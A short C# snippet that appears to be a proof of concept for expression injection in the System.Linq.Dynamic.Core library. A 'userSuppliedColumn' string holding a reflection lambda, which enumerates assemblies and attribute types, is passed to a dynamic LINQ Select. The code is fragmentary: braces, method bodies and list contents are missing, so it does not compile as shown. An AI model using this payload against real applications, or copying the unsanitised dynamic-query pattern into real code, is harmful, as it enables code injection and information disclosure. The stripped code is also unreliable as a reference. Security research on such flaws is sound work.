using Microsoft.AspNetCore.Authorization;
using System.Collections.Generic;
using System.Linq.Dynamic.Core;
using System.Linq.Dynamic.Core.CustomTypeProviders;
using System.Runtime.Versioning;
public static class Program
public static void Main()
var exploits = new List<Customer>()
string userSuppliedColumn = @"
c => string.Join(""\r\n"",
c.GetType().Assembly.ExportedTypes
.SelectMany(type => type.CustomAttributes)
.Select(attr => attr.AttributeType.Assembly)
.Select(assembly => assembly.FullName))
foreach (var e in exploits.AsQueryable().Select(userSuppliedColumn))
public int Id { get; set; }
public string Name { get; set; }
public class SomethOtherType1
public class SomethOtherType2